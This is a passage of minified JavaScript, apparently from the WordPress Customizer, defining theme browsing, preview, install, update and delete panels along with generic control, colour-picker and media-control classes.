s.removeClass("section-open"),i===Y.state("expandedSection").get()&&Y.state("expandedSection").set(!1)):t.completeCallback&&t.completeCallback()}}),Y.ThemesSection=Y.Section.extend({currentTheme:"",overlay:"",template:"",screenshotQueue:null,$window:null,$body:null,loaded:0,loading:!1,fullyLoaded:!1,term:"",tags:"",nextTerm:"",nextTags:"",filtersHeight:0,headerContainer:null,updateCountDebounced:null,initialize:function(e,t){var n=this;n.headerContainer=J(),n.$window=J(window),n.$body=J(document.body),Y.Section.prototype.initialize.call(n,e,t),n.updateCountDebounced=_.debounce(n.updateCount,500)},embed:function(){var n=this,e=function(e){var t;Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.find(".customize-themes-full-container-container").before(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})})};n.panel.bind(e),e(n.panel.get())},ready:function(){var t=this;t.overlay=t.container.find(".theme-overlay"),t.template=wp.template("customize-themes-details-view"),t.container.on("keydown",function(e){t.overlay.find(".theme-wrap").is(":visible")&&(39===e.keyCode&&t.nextTheme(),37===e.keyCode&&t.previousTheme(),27===e.keyCode)&&(t.$body.hasClass("modal-open")?t.closeDetails():t.headerContainer.find(".customize-themes-section-title").focus(),e.stopPropagation())}),t.renderScreenshots=_.throttle(t.renderScreenshots,100),_.bindAll(t,"renderScreenshots","loadMore","checkTerm","filtersChecked")},isContextuallyActive:function(){return this.active()},attachEvents:function(){var e,n=this;function t(){var e=n.headerContainer.find(".customize-themes-section-title");e.toggleClass("selected",n.expanded()),e.attr("aria-expanded",n.expanded()?"true":"false"),n.expanded()||e.removeClass("details-open")}n.container.find(".customize-section-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.collapse())}),n.headerContainer=J("#accordion-section-"+n.id),n.headerContainer.on("click",".customize-themes-section-title",function(){n.headerContainer.find(".filter-details").length&&(n.headerContainer.find(".customize-themes-section-title").toggleClass("details-open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}),n.headerContainer.find(".filter-details").slideToggle(180)),n.expanded()||n.expand()}),n.container.on("click",".theme-actions .preview-theme",function(){Y.panel("themes").loadThemePreview(J(this).data("slug"))}),n.container.on("click",".left",function(){n.previousTheme()}),n.container.on("click",".right",function(){n.nextTheme()}),n.container.on("click",".theme-backdrop, .close",function(){n.closeDetails()}),"local"===n.params.filter_type?n.container.on("input",".wp-filter-search-themes",function(e){n.filterSearch(e.currentTarget.value)}):"remote"===n.params.filter_type&&(e=_.debounce(n.checkTerm,500),n.contentContainer.on("input",".wp-filter-search",function(){Y.panel("themes").expanded()&&(e(n),n.expanded()||n.expand())}),n.contentContainer.on("click",".filter-group input",function(){n.filtersChecked(),n.checkTerm(n)})),n.contentContainer.on("click",".feature-filter-toggle",function(e){var t=J(".customize-themes-full-container"),e=J(e.currentTarget);n.filtersHeight=e.parent().next(".filter-drawer").height(),0<t.scrollTop()&&(t.animate({scrollTop:0},400),e.hasClass("open"))||(e.toggleClass("open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}).parent().next(".filter-drawer").slideToggle(180,"linear"),e.hasClass("open")?(t=1018<window.innerWidth?50:76,n.contentContainer.find(".themes").css("margin-top",n.filtersHeight+t)):n.contentContainer.find(".themes").css("margin-top",0))}),n.contentContainer.on("click",".no-themes-local .search-dotorg-themes",function(){Y.section("wporg_themes").focus()}),n.expanded.bind(t),t(),Y.bind("ready",function(){n.contentContainer=n.container.find(".customize-themes-section"),n.contentContainer.appendTo(J(".customize-themes-full-container")),n.container.add(n.headerContainer)})},onChangeExpanded:function(e,n){var i=this,t=i.contentContainer.closest(".customize-themes-full-container");function a(){0===i.loaded&&i.loadThemes(),Y.section.each(function(e){var t;e!==i&&"themes"===e.params.type&&(t=e.contentContainer.find(".wp-filter-search").val(),i.contentContainer.find(".wp-filter-search").val(t),""===t&&""!==i.term&&"local"!==i.params.filter_type?(i.term="",i.initializeNewQuery(i.term,i.tags)):"remote"===i.params.filter_type?i.checkTerm(i):"local"===i.params.filter_type&&i.filterSearch(t),e.collapse({duration:n.duration}))}),i.contentContainer.addClass("current-section"),t.scrollTop(),t.on("scroll",_.throttle(i.renderScreenshots,300)),t.on("scroll",_.throttle(i.loadMore,300)),n.completeCallback&&n.completeCallback(),i.updateCount()}n.unchanged?n.completeCallback&&n.completeCallback():e?i.panel()&&Y.panel.has(i.panel())?Y.panel(i.panel()).expand({duration:n.duration,completeCallback:a}):a():(i.contentContainer.removeClass("current-section"),i.headerContainer.find(".filter-details").slideUp(180),t.off("scroll"),n.completeCallback&&n.completeCallback())},getContent:function(){return this.container.find(".control-section-content")},loadThemes:function(){var n,e,i=this;i.loading||(n=Math.ceil(i.loaded/100)+1,e={nonce:Y.settings.nonce.switch_themes,wp_customize:"on",theme_action:i.params.action,customized_theme:Y.settings.theme.stylesheet,page:n},"remote"===i.params.filter_type&&(e.search=i.term,e.tags=i.tags),i.headContainer.closest(".wp-full-overlay").addClass("loading"),i.loading=!0,i.container.find(".no-themes").hide(),(e=wp.ajax.post("customize_load_themes",e)).done(function(e){var t=e.themes;""!==i.nextTerm||""!==i.nextTags?(i.nextTerm&&(i.term=i.nextTerm),i.nextTags&&(i.tags=i.nextTags),i.nextTerm="",i.nextTags="",i.loading=!1,i.loadThemes()):(0!==t.length?(i.loadControls(t,n),1===n&&(_.each(i.controls().slice(0,3),function(e){e=e.params.theme.screenshot[0];e&&((new Image).src=e)}),"local"!==i.params.filter_type)&&wp.a11y.speak(Y.settings.l10n.themeSearchResults.replace("%d",e.info.results)),_.delay(i.renderScreenshots,100),("local"===i.params.filter_type||t.length<100)&&(i.fullyLoaded=!0)):0===i.loaded?(i.container.find(".no-themes").show(),wp.a11y.speak(i.container.find(".no-themes").text())):i.fullyLoaded=!0,"local"===i.params.filter_type?i.updateCount():i.updateCount(e.info.results),i.container.find(".unexpected-error").hide(),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1)}),e.fail(function(e){void 0===e?(i.container.find(".unexpected-error").show(),wp.a11y.speak(i.container.find(".unexpected-error").text())):"undefined"!=typeof console&&console.error&&console.error(e),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1}))},loadControls:function(e,t){var n=[],i=this;_.each(e,function(e){e=new Y.controlConstructor.theme(i.params.action+"_theme_"+e.id,{type:"theme",section:i.params.id,theme:e,priority:i.loaded+1});Y.control.add(e),n.push(e),i.loaded=i.loaded+1}),1!==t&&Array.prototype.push.apply(i.screenshotQueue,n)},loadMore:function(){var e,t;this.fullyLoaded||this.loading||(t=(e=this.container.closest(".customize-themes-full-container")).scrollTop()+e.height(),e.prop("scrollHeight")-3e3<t&&this.loadThemes())},filterSearch:function(e){var t,n=0,i=this,a=Y.section.has("wporg_themes")&&"remote"!==i.params.filter_type?".no-themes-local":".no-themes",o=i.controls();i.loading||(t=e.toLowerCase().trim().replace(/-/g," ").split(" "),_.each(o,function(e){e.filter(t)&&(n+=1)}),0===n?(i.container.find(a).show(),wp.a11y.speak(i.container.find(a).text())):i.container.find(a).hide(),i.renderScreenshots(),Y.reflowPaneContents(),i.updateCountDebounced(n))},checkTerm:function(e){var t;"remote"===e.params.filter_type&&(t=e.contentContainer.find(".wp-filter-search").val(),e.term!==t.trim())&&e.initializeNewQuery(t,e.tags)},filtersChecked:function(){var e=this,t=e.container.find(".filter-group").find(":checkbox"),n=[];_.each(t.filter(":checked"),function(e){n.push(J(e).prop("value"))}),0===n.length?(n="",e.contentContainer.find(".feature-filter-toggle .filter-count-0").show(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").hide()):(e.contentContainer.find(".feature-filter-toggle .theme-filter-count").text(n.length),e.contentContainer.find(".feature-filter-toggle .filter-count-0").hide(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").show()),_.isEqual(e.tags,n)||(e.loading?e.nextTags=n:"remote"===e.params.filter_type?e.initializeNewQuery(e.term,n):"local"===e.params.filter_type&&e.filterSearch(n.join(" ")))},initializeNewQuery:function(e,t){var n=this;_.each(n.controls(),function(e){e.container.remove(),Y.control.remove(e.id)}),n.loaded=0,n.fullyLoaded=!1,n.screenshotQueue=null,n.loading?(n.nextTerm=e,n.nextTags=t):(n.term=e,n.tags=t,n.loadThemes()),n.expanded()||n.expand()},renderScreenshots:function(){var o=this;null!==o.screenshotQueue&&0!==o.screenshotQueue.length||(o.screenshotQueue=_.filter(o.controls(),function(e){return!e.screenshotRendered})),o.screenshotQueue.length&&(o.screenshotQueue=_.filter(o.screenshotQueue,function(e){var t,n,i=e.container.find(".theme-screenshot"),a=i.find("img");return!(!a.length||!a.is(":hidden")&&(t=(n=o.$window.scrollTop())+o.$window.height(),a=a.offset().top,(n=n-(i=3*(n=i.height()))<=a+n&&a<=t+i)&&e.container.trigger("render-screenshot"),n))}))},getVisibleCount:function(){return this.contentContainer.find("li.customize-control:visible").length},updateCount:function(e){var t,n;e||0===e||(e=this.getVisibleCount()),n=this.contentContainer.find(".themes-displayed"),t=this.contentContainer.find(".theme-count"),0===e?t.text("0"):(n.fadeOut(180,function(){t.text(e),n.fadeIn(180)}),wp.a11y.speak(Y.settings.l10n.announceThemeCount.replace("%d",e)))},nextTheme:function(){var e=this;e.getNextTheme()&&e.showDetails(e.getNextTheme(),function(){e.overlay.find(".right").focus()})},getNextTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e+1])&&t.params.theme},previousTheme:function(){var e=this;e.getPreviousTheme()&&e.showDetails(e.getPreviousTheme(),function(){e.overlay.find(".left").focus()})},getPreviousTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e-1])&&t.params.theme},updateLimits:function(){this.getNextTheme()||this.overlay.find(".right").addClass("disabled"),this.getPreviousTheme()||this.overlay.find(".left").addClass("disabled")},loadThemePreview:function(e){return Y.ThemesPanel.prototype.loadThemePreview.call(this,e)},showDetails:function(e,t){var n=this,i=Y.panel("themes");function a(){return!i.canSwitchTheme(e.id)}n.currentTheme=e.id,n.overlay.html(n.template(e)).fadeIn("fast").focus(),n.overlay.find("button.preview, button.preview-theme").toggleClass("disabled",a()),n.overlay.find("button.theme-install").toggleClass("disabled",a()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded),n.$body.addClass("modal-open"),n.containFocus(n.overlay),n.updateLimits(),wp.a11y.speak(Y.settings.l10n.announceThemeDetails.replace("%s",e.name)),t&&t()},closeDetails:function(){this.$body.removeClass("modal-open"),this.overlay.fadeOut("fast"),Y.control(this.params.action+"_theme_"+this.currentTheme).container.find(".theme").focus()},containFocus:function(t){var n;t.on("keydown",function(e){if(9===e.keyCode)return(n=J(":tabbable",t)).last()[0]!==e.target||e.shiftKey?n.first()[0]===e.target&&e.shiftKey?(n.last().focus(),!1):void 0:(n.first().focus(),!1)})}}),Y.OuterSection=Y.Section.extend({initialize:function(){this.containerParent="#customize-outer-theme-controls",this.containerPaneParent=".customize-outer-pane-parent",Y.Section.prototype.initialize.apply(this,arguments)},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=o.find(".customize-section-back"),r=i.headContainer.find(".accordion-section-title").first();J(document.body).toggleClass("outer-section-open",e),i.container.toggleClass("open",e),i.container.removeClass("busy"),Y.section.each(function(e){"outer"===e.params.type&&e.id!==i.id&&e.container.removeClass("open")}),e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){r.attr("tabindex","-1"),s.attr("tabindex","0"),s.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open")}.bind(this),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):n()):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){s.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open")):t.completeCallback&&t.completeCallback()}}),Y.Panel=a.extend({containerType:"panel",initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.panelConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e=this,t=J("#customize-theme-controls"),n=J(".customize-pane-parent");e.headContainer.parent().is(n)||n.append(e.headContainer),e.contentContainer.parent().is(e.headContainer)||t.append(e.contentContainer),e.renderContent(),e.deferred.embedded.resolve()},attachEvents:function(){var t,n=this;n.headContainer.find(".accordion-section-title").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded())||n.expand()}),n.container.find(".customize-panel-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&n.collapse())}),(t=n.container.find(".panel-meta:first")).find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e;t.hasClass("cannot-expand")||(e=t.find(".customize-panel-description:first"),t.hasClass("open")?(t.toggleClass("open"),e.slideUp(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(e.slideDown(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),t.toggleClass("open"),J(this).attr("aria-expanded",!0)))})},sections:function(){return this._children("panel","section")},isContextuallyActive:function(){var e=this.sections(),t=0;return _(e).each(function(e){e.active()&&e.isContextuallyActive()&&(t+=1)}),0!==t},onChangeExpanded:function(e,t){var n,i,a,o,s,r,c;t.unchanged?t.completeCallback&&t.completeCallback():(a=(i=(n=this).contentContainer).closest(".wp-full-overlay"),o=i.closest(".wp-full-overlay-sidebar-content"),s=n.headContainer.find(".accordion-section-title"),r=i.find(".customize-panel-back"),c=n.sections(),e&&!i.hasClass("current-panel")?(Y.section.each(function(e){n.id!==e.panel()&&e.collapse({duration:0})}),Y.panel.each(function(e){n!==e&&e.collapse({duration:0})}),n.params.autoExpandSoleSection&&1===c.length&&c[0].active.get()?(i.addClass("current-panel skip-transition"),a.addClass("in-sub-panel"),c[0].expand({completeCallback:t.completeCallback})):(n._animateChangeExpanded(function(){s.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),i.css("top",""),o.scrollTop(0),t.completeCallback&&t.completeCallback()}),i.addClass("current-panel"),a.addClass("in-sub-panel")),Y.state("expandedPanel").set(n)):!e&&i.hasClass("current-panel")&&(i.hasClass("skip-transition")?i.removeClass("skip-transition"):n._animateChangeExpanded(function(){s.attr("tabindex","0"),r.attr("tabindex","-1"),s.focus(),i.css("top",""),t.completeCallback&&t.completeCallback()}),a.removeClass("in-sub-panel"),i.removeClass("current-panel"),n===Y.state("expandedPanel").get())&&Y.state("expandedPanel").set(!1))},renderContent:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector+"-content").length?wp.template(e.templateSelector+"-content"):wp.template("customize-panel-default-content");t&&e.headContainer&&e.contentContainer.html(t(_.extend({id:e.id},e.params)))}}),Y.ThemesPanel=Y.Panel.extend({initialize:function(e,t){this.installingThemes=[],Y.Panel.prototype.initialize.call(this,e,t)},canSwitchTheme:function(e){return!(!e||e!==Y.settings.theme.stylesheet)||"publish"===Y.state("selectedChangesetStatus").get()&&(""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get())},attachEvents:function(){var t=this;function e(){t.canSwitchTheme()?t.notifications.remove("theme_switch_unavailable"):t.notifications.add(new Y.Notification("theme_switch_unavailable",{message:Y.l10n.themePreviewUnavailable,type:"warning"}))}Y.Panel.prototype.attachEvents.apply(t),Y.settings.theme._canInstall&&Y.settings.theme._filesystemCredentialsNeeded&&t.notifications.add(new Y.Notification("theme_install_unavailable",{message:Y.l10n.themeInstallUnavailable,type:"info",dismissible:!0})),e(),Y.state("selectedChangesetStatus").bind(e),Y.state("changesetStatus").bind(e),t.contentContainer.on("click",".customize-theme",function(){t.collapse()}),t.contentContainer.on("click",".customize-themes-section-title, .customize-themes-mobile-back",function(){J(".wp-full-overlay").toggleClass("showing-themes")}),t.contentContainer.on("click",".theme-install",function(e){t.installTheme(e)}),t.contentContainer.on("click",".update-theme, #update-theme",function(e){e.preventDefault(),e.stopPropagation(),t.updateTheme(e)}),t.contentContainer.on("click",".delete-theme",function(e){t.deleteTheme(e)}),_.bindAll(t,"installTheme","updateTheme")},onChangeExpanded:function(e,t){var n,i=!1;Y.Panel.prototype.onChangeExpanded.apply(this,[e,t]),t.unchanged?t.completeCallback&&t.completeCallback():(n=this.headContainer.closest(".wp-full-overlay"),e?(n.addClass("in-themes-panel").delay(200).find(".customize-themes-full-container").addClass("animate"),_.delay(function(){n.addClass("themes-panel-expanded")},200),600<window.innerWidth&&(t=this.sections(),_.each(t,function(e){e.expanded()&&(i=!0)}),!i)&&0<t.length&&t[0].expand()):n.removeClass("in-themes-panel themes-panel-expanded").find(".customize-themes-full-container").removeClass("animate"))},installTheme:function(e){var t,i=this,a=J(e.target).data("slug"),o=J.Deferred(),s=J(e.target).hasClass("preview");return Y.settings.theme._filesystemCredentialsNeeded?o.reject({errorCode:"theme_install_unavailable"}):i.canSwitchTheme(a)?_.contains(i.installingThemes,a)?o.reject({errorCode:"theme_already_installing"}):(wp.updates.maybeRequestFilesystemCredentials(e),e=function(t){var e,n=!1;if(s)Y.notifications.remove("theme_installing"),i.loadThemePreview(a);else{if(Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(n=e.params.theme,e.rerenderAsInstalled(!0))}),!n||Y.control.has("installed_theme_"+n.id))return void o.resolve(t);n.type="installed",e=new Y.controlConstructor.theme("installed_theme_"+n.id,{type:"theme",section:"installed_themes",theme:n,priority:0}),Y.control.add(e),Y.control(e.id).container.trigger("render-screenshot"),Y.section.each(function(e){"themes"===e.params.type&&n.id===e.currentTheme&&e.closeDetails()})}o.resolve(t)},i.installingThemes.push(a),t=wp.updates.installTheme({slug:a}),s&&Y.notifications.add(new Y.OverlayNotification("theme_installing",{message:Y.l10n.themeDownloading,type:"info",loading:!0})),t.done(e),t.fail(function(){Y.notifications.remove("theme_installing")})):o.reject({errorCode:"theme_switch_unavailable"}),o.promise()},loadThemePreview:function(e){var t,n,i=J.Deferred();return this.canSwitchTheme(e)?((n=document.createElement("a")).href=location.href,e=_.extend(Y.utils.parseQueryString(n.search.substr(1)),{theme:e,changeset_uuid:Y.settings.changeset.uuid,return:Y.settings.url.return}),Y.state("saved").get()||(e.customize_autosaved="on"),n.search=J.param(e),Y.notifications.add(new Y.OverlayNotification("theme_previewing",{message:Y.l10n.themePreviewWait,type:"info",loading:!0})),t=function(){var e;0<Y.state("processing").get()||(Y.state("processing").unbind(t),(e=Y.requestChangesetUpdate({},{autosave:!0})).done(function(){i.resolve(),J(window).off("beforeunload.customize-confirm"),location.replace(n.href)}),e.fail(function(){Y.notifications.remove("theme_previewing"),i.reject()}))},0===Y.state("processing").get()?t():Y.state("processing").bind(t)):i.reject({errorCode:"theme_switch_unavailable"}),i.promise()},updateTheme:function(e){wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-update-success",function(e,t){Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(e.params.theme.hasUpdate=!1,e.params.theme.version=t.newVersion,setTimeout(function(){e.rerenderAsInstalled(!0)},2e3))})}),wp.updates.updateTheme({slug:J(e.target).closest(".notice").data("slug")})},deleteTheme:function(e){var t=J(e.target).data("slug"),n=Y.section("installed_themes");e.preventDefault(),Y.settings.theme._filesystemCredentialsNeeded||window.confirm(Y.settings.l10n.confirmDeleteTheme)&&(wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-delete-success",function(){var e=Y.control("installed_theme_"+t);e.container.remove(),Y.control.remove(e.id),n.loaded=n.loaded-1,n.updateCount(),Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t&&e.rerenderAsInstalled(!1)})}),wp.updates.deleteTheme({slug:t}),n.closeDetails(),n.focus())}}),Y.Control=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaults:{label:"",description:"",active:!0,priority:10},initialize:function(e,t){var n,i=this,a=[];i.params=_.extend({},i.defaults,i.params||{},t.params||t||{}),Y.Control.instanceCounter||(Y.Control.instanceCounter=0),Y.Control.instanceCounter++,i.params.instanceNumber||(i.params.instanceNumber=Y.Control.instanceCounter),i.params.type||_.find(Y.controlConstructor,function(e,t){return e===i.constructor&&(i.params.type=t,!0)}),i.params.content||(i.params.content=J("<li></li>",{id:"customize-control-"+e.replace(/]/g,"").replace(/\[/g,"-"),class:"customize-control customize-control-"+i.params.type})),i.id=e,i.selector="#customize-control-"+e.replace(/\]/g,"").replace(/\[/g,"-"),i.params.content?i.container=J(i.params.content):i.container=J(i.selector),i.params.templateId?i.templateSelector=i.params.templateId:i.templateSelector="customize-control-"+i.params.type+"-content",i.deferred=_.extend(i.deferred||{},{embedded:new J.Deferred}),i.section=new Y.Value,i.priority=new Y.Value,i.active=new Y.Value,i.activeArgumentsQueue=[],i.notifications=new Y.Notifications({alt:i.altNotice}),i.elements=[],i.active.bind(function(e){var t=i.activeArgumentsQueue.shift(),t=J.extend({},i.defaultActiveArguments,t);i.onChangeActive(e,t)}),i.section.set(i.params.section),i.priority.set(isNaN(i.params.priority)?10:i.params.priority),i.active.set(i.params.active),Y.utils.bubbleChildValueChanges(i,["section","priority","active"]),i.settings={},n={},i.params.setting&&(n.default=i.params.setting),_.extend(n,i.params.settings),_.each(n,function(e,t){var n;_.isObject(e)&&_.isFunction(e.extended)&&e.extended(Y.Value)?i.settings[t]=e:_.isString(e)&&((n=Y(e))?i.settings[t]=n:a.push(e))}),t=function(){_.each(n,function(e,t){!i.settings[t]&&_.isString(e)&&(i.settings[t]=Y(e))}),i.settings[0]&&!i.settings.default&&(i.settings.default=i.settings[0]),i.setting=i.settings.default||null,i.linkElements(),i.embed()},0===a.length?t():Y.apply(Y,a.concat(t)),i.deferred.embedded.done(function(){i.linkElements(),i.setupNotifications(),i.ready()})},linkElements:function(){var i,a=this,o=a.container.find("[data-customize-setting-link], [data-customize-setting-key-link]"),s={};o.each(function(){var e,t,n=J(this);if(!n.data("customizeSettingLinked")){if(n.data("customizeSettingLinked",!0),n.is(":radio")){if(e=n.prop("name"),s[e])return;s[e]=!0,n=o.filter('[name="'+e+'"]')}n.data("customizeSettingLink")?t=Y(n.data("customizeSettingLink")):n.data("customizeSettingKeyLink")&&(t=a.settings[n.data("customizeSettingKeyLink")]),t&&(i=new Y.Element(n),a.elements.push(i),i.sync(t),i.set(t()))}})},embed:function(){var n=this,e=function(e){var t;e&&Y.section(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),n.container.parent().is(t)||t.append(n.container),n.renderContent(),n.deferred.embedded.resolve()})})};n.section.bind(e),e(n.section.get())},ready:function(){var t,n=this;"dropdown-pages"===n.params.type&&n.params.allow_addition&&((t=n.container.find(".new-content-item")).hide(),n.container.on("click",".add-new-toggle",function(e){J(e.currentTarget).slideUp(180),t.slideDown(180),t.find(".create-item-input").focus()}),n.container.on("click",".add-content",function(){n.addNewPage()}),n.container.on("keydown",".create-item-input",function(e){13===e.which&&n.addNewPage()}))},getNotificationsContainerElement:function(){var e,t=this,n=t.container.find(".customize-control-notifications-container:first");return n.length||(n=J('<div class="customize-control-notifications-container"></div>'),t.container.hasClass("customize-control-nav_menu_item")?t.container.find(".menu-item-settings:first").prepend(n):t.container.hasClass("customize-control-widget_form")?t.container.find(".widget-inside:first").prepend(n):(e=t.container.find(".customize-control-title")).length?e.after(n):t.container.prepend(n)),n},setupNotifications:function(){var n,e,i=this;_.each(i.settings,function(n){n.notifications&&(n.notifications.bind("add",function(e){var t=_.extend({},e,{setting:n.id});i.notifications.add(new Y.Notification(n.id+":"+e.code,t))}),n.notifications.bind("remove",function(e){i.notifications.remove(n.id+":"+e.code)}))}),n=function(){var e=i.section();(!e||Y.section.has(e)&&Y.section(e).expanded())&&i.notifications.render()},i.notifications.bind("rendered",function(){var e=i.notifications.get();i.container.toggleClass("has-notifications",0!==e.length),i.container.toggleClass("has-error",0!==_.where(e,{type:"error"}).length)}),i.section.bind(e=function(e,t){t&&Y.section.has(t)&&Y.section(t).expanded.unbind(n),e&&Y.section(e,function(e){e.expanded.bind(n),n()})}),e(i.section.get()),i.notifications.bind("change",_.debounce(n))},renderNotifications:function(){var e,t,n=this,i=!1;"undefined"!=typeof console&&console.warn&&console.warn("[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantating a wp.customize.Notifications and calling its render() method."),(e=n.getNotificationsContainerElement())&&e.length&&(t=[],n.notifications.each(function(e){t.push(e),"error"===e.type&&(i=!0)}),0===t.length?e.stop().slideUp("fast"):e.stop().slideDown("fast",null,function(){J(this).css("height","auto")}),n.notificationsTemplate||(n.notificationsTemplate=wp.template("customize-control-notifications")),n.container.toggleClass("has-notifications",0!==t.length),n.container.toggleClass("has-error",i),e.empty().append(n.notificationsTemplate({notifications:t,altNotice:Boolean(n.altNotice)}).trim()))},expand:function(e){Y.section(this.section()).expand(e)},focus:o,onChangeActive:function(e,t){t.unchanged?t.completeCallback&&t.completeCallback():J.contains(document,this.container[0])?e?this.container.slideDown(t.duration,t.completeCallback):this.container.slideUp(t.duration,t.completeCallback):(this.container.toggle(e),t.completeCallback&&t.completeCallback())},toggle:function(e){return this.onChangeActive(e,this.defaultActiveArguments)},activate:a.prototype.activate,deactivate:a.prototype.deactivate,_toggleActive:a.prototype._toggleActive,dropdownInit:function(){function e(e){"string"==typeof e&&i.statuses&&i.statuses[e]?n.html(i.statuses[e]).show():n.hide()}var t=this,n=this.container.find(".dropdown-status"),i=this.params,a=!1;this.container.on("click keydown",".dropdown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),a||t.container.toggleClass("open"),t.container.hasClass("open")&&t.container.parent().parent().find("li.library-selected").focus(),a=!0,setTimeout(function(){a=!1},400))}),this.setting.bind(e),e(this.setting())},renderContent:function(){var e=this,t=e.templateSelector;t==="customize-control-"+e.params.type+"-content"&&_.contains(["button","checkbox","date","datetime-local","email","month","number","password","radio","range","search","select","tel","time","text","textarea","week","url"],e.params.type)&&!document.getElementById("tmpl-"+t)&&0===e.container.children().length&&(t="customize-control-default-content"),document.getElementById("tmpl-"+t)&&(t=wp.template(t))&&e.container&&e.container.html(t(e.params)),e.notifications.container=e.getNotificationsContainerElement(),(!(t=e.section())||Y.section.has(t)&&Y.section(t).expanded())&&e.notifications.render()},addNewPage:function(){var e,a,o,t,s,r,c=this;"dropdown-pages"===c.params.type&&c.params.allow_addition&&Y.Menus&&(a=c.container.find(".add-new-toggle"),o=c.container.find(".new-content-item"),t=c.container.find(".create-item-input"),s=t.val(),r=c.container.find("select"),s?(t.removeClass("invalid"),t.attr("disabled","disabled"),(e=Y.Menus.insertAutoDraftPost({post_title:s,post_type:"page"})).done(function(e){var t,n,i=new Y.Menus.AvailableItemModel({id:"post-"+e.post_id,title:s,type:"post_type",type_label:Y.Menus.data.l10n.page_label,object:"page",object_id:e.post_id,url:e.url});Y.Menus.availableMenuItemsPanel.collection.add(i),t=J("#available-menu-items-post_type-page").find(".available-menu-items-list"),n=wp.template("available-menu-item"),t.prepend(n(i.attributes)),r.focus(),c.setting.set(String(e.post_id)),o.slideUp(180),a.slideDown(180)}),e.always(function(){t.val("").removeAttr("disabled")})):t.addClass("invalid"))}}),Y.ColorControl=Y.Control.extend({ready:function(){var t,n=this,e="hue"===this.params.mode,i=!1;e?(t=this.container.find(".color-picker-hue")).val(n.setting()).wpColorPicker({change:function(e,t){i=!0,n.setting(t.color.h()),i=!1}}):(t=this.container.find(".color-picker-hex")).val(n.setting()).wpColorPicker({change:function(){i=!0,n.setting.set(t.wpColorPicker("color")),i=!1},clear:function(){i=!0,n.setting.set(""),i=!1}}),n.setting.bind(function(e){i||(t.val(e),t.wpColorPicker("color",e))}),n.container.on("keydown",function(e){27===e.which&&n.container.find(".wp-picker-container").hasClass("wp-picker-active")&&(t.wpColorPicker("close"),n.container.find(".wp-color-result").focus(),e.stopPropagation())})}}),Y.MediaControl=Y.Control.extend({ready:function(){var n=this;function e(e){var t=J.Deferred();n.extended(Y.UploadControl)?t.resolve():(e=parseInt(e,10),_.isNaN(e)||e<=0?(delete n.params.attachment,t.resolve()):n.params.attachment&&n.params.attachment.id===e&&t.resolve()),"pending"===t.state()&&wp.media.attachment(e).fetch().done(function(){n.params.attachment=this.attributes,t.resolve(),wp.customize.previewer.send(n.setting.id+"-attachment-data",this.attributes)}),t.done(function(){n.renderContent()})}_.bindAll(n,"restoreDefault","removeFile","openFrame","select","pausePlayer"),n.container.on("click keydown",".upload-button",n.openFrame),n.container.on("click keydown",".upload-button",n.pausePlayer),n.container.on("click keydown",".thumbnail-image img",n.openFrame),n.container.on("click keydown",".default-button",n.restoreDefault),n.container.on("click keydown",".remove-button",n.pausePlayer),n.container.on("click keydown",".remove-button",n.removeFile),n.container.on("click 